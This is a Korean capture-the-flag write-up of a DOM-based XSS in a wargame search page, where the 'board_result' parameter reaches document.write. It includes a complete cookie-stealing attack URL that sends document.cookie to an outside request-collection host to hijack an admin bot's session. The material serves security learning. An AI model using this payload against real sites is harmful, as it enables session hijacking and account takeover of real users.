WarGame/SegFault
XSS Challenge
Alioth02
2024. 6. 24. 12:24
1. XSS 포인트
취약점 경로 : http://ctf.segfaulthub.com:4343/xss_4/notice_list.php
취약 파라미터 : board_result
게시글을 검색할 수 있는 페이지에서
검색 결과가 없는 검색어 입력 시,
사용자 입력 값을 그대로 화면에 출력하는 모습을 볼 수 있다.
(* XSS 포인트 확인)
검색 응답에 test 라는 문자열은 확인되지 않지만,
사용자가 검색어로 입력한 board_result 파라미터 값을 가져와
자바스크립트로 브라우저에서 document.write 함수를 이용해 출력하는 모습을 볼 수 있다.
2. 스크립트 분석
<script>
// keyword 변수에 사용자가 입력한 검색 키워드를 담는다.
var keyword = (new URLSearchParams(window.location.search)).get('board_result');
// 키워드 존재 시
if(keyword){
// 검색 키워드를 HTML 문서에서 ID 속성이 'search_addr'인 요소의 값으로 설정한다.
// <input id = "search_addr" name = "board_result" type = "text" placeholder="Search" />
document.getElementById('search_addr').value = keyword;
// 검색 키워드를 출력한다.
document.write(keyword+'에 대한 검색 결과가 없습니다.');
}
</script>
document.write 함수는
안에 들어가는 내용이 클라이언트 측 코드(HTML, JavaScript)를 포함하고 있으면
해당 코드를 실행하므로
keyword(검색어 = board_result 파라미터)에 스크립트를 삽입한다면 XSS 공격을 할 수 있다.
3. 스크립트 삽입
board_result 파라미터에 POC 스크립트를 삽입하여
해당 url로 접근하면
스크립트가 삽입된 document.write 가 동작하면서
알림창을 띄워주는 모습을 볼 수 있다.
4. 쿠키 탈취
<script>var i = new Image(); i.src = "공격자 서버 주소/?cookie=" %2 bdocument.cookie;</script>
쿠키를 탈취하는 스크립트를 작성한 다음
board_result 파라미터에 해당 스크립트를 삽입하여
http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?
option_val=username
&board_result=<script>var+i+=+new+Image();i.src="https://en88y0voes91u.x.pipedream.net/?cookie="%2bdocument.cookie;</script>
&board_search=%F0%9F%94%8D
&date_from=
&date_to=
생성된 get 요청 url로 접근하면
공격자 서버로 피해자의 세션 ID가 전달되는 것을 볼 수 있다.
완성된 공격 URL을
관리자 봇이 접근할 수 있도록 전달해 보니,
공격자의 서버에서
피해자인 관리자의 세션 ID
즉, FLAG를 얻을 수 있었다.